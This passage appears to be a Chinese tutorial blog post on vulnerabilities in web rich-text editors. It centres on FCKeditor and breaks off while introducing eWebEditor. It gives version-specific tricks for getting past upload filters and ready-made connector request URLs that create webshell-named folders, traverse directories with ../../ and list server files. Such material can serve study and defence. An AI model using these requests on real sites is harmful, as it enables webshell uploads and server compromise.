阅读 132

编辑器漏洞原理(代码生成器原理)

导读:从中国互联网兴起,网站迅速发展,从最开始的企业站到个人站点,从最初的静态站到数据交互的动态网站,WEB安全不断地引起重视,而在WEB安全中,前端的编辑器更是安全的焦点,因为编辑器包含了文字、图片、附件等上传功能,如果在过滤中稍有不慎,便等同于将整个WEB权限拱手相让。

从动态WEB发展初期到现在,编辑器漏洞一直以来都是层出不穷,小君首先列举一些最为出名的编辑器漏洞看看它们的漏洞危害度。

FCKeditor

提起FCKeditor作为WEB开发的童鞋是无人不知无人不晓,FCK是这个编辑器作者的名字Frederico Caldeira Knabben的缩写,是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它致力于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合,使用度极其高。

它的漏洞在每个版本也都存在,现在我们来列举一些。

FCKeditor可以通过FCKeditor/_whatsnew.html 查看现在所使用的版本,如果版本是2.2,Apache+linux 环境下在上传文件后面加个.来绕过文件验证上传WEBSHELL

PHP的FCK版本<=2.4.2 在处理上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传WEBSHELL,测试代码:

漏洞测试上传任意文件:

FCK版本=4.1版本提交WEBSHELL.php+空格可绕过对其后缀的检测。

FCK版本=4.2版本继续上传同名文件可变为WEBSHELL.php;(1).jpg,执行WEBSHELL。

突破建立文件夹漏洞,利用解析漏洞利用,代码测试:

FCKeditor/editor/filemanager/connectors/php/connector.php?Command=CreateFolder&Type=Image&CurrentFolder=

%2FWEBSHELL.php&NewFolderName=z&uuid=1254789325665
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?

Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=WEBSHELL.php

列目录漏洞:

1、修改CurrentFolder 参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp


2、通过返回到的XML信息查看所有的目录

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

像FCKeditor这样漏洞的编辑器还有非常多,比如说eWebEditor、CKFinder、南方数据编辑器southidceditor、UEDITOR、DotNetTextBox编辑器、PHPWEB网站管理系统后台Kedit编辑器、Cute Editor等等。利用方式也大致相同,上传未过滤上传过滤后缀绕过编辑器后台添加新后缀文件夹解析漏洞列目录漏洞等。

本期我们着重地讲解一下eWebEditor,当我打开它的官方网站时瞬间惊呆了,感觉一下子回到了10年前的感觉,整个网站仍然使用了ASP开发,界面也是10年前的常用布局。

ewebeditor首页

官方介绍:eWebEditor是一个基于浏览器的在线HTML编辑器,WEB开发人员可以用她把传统的多行文本输入框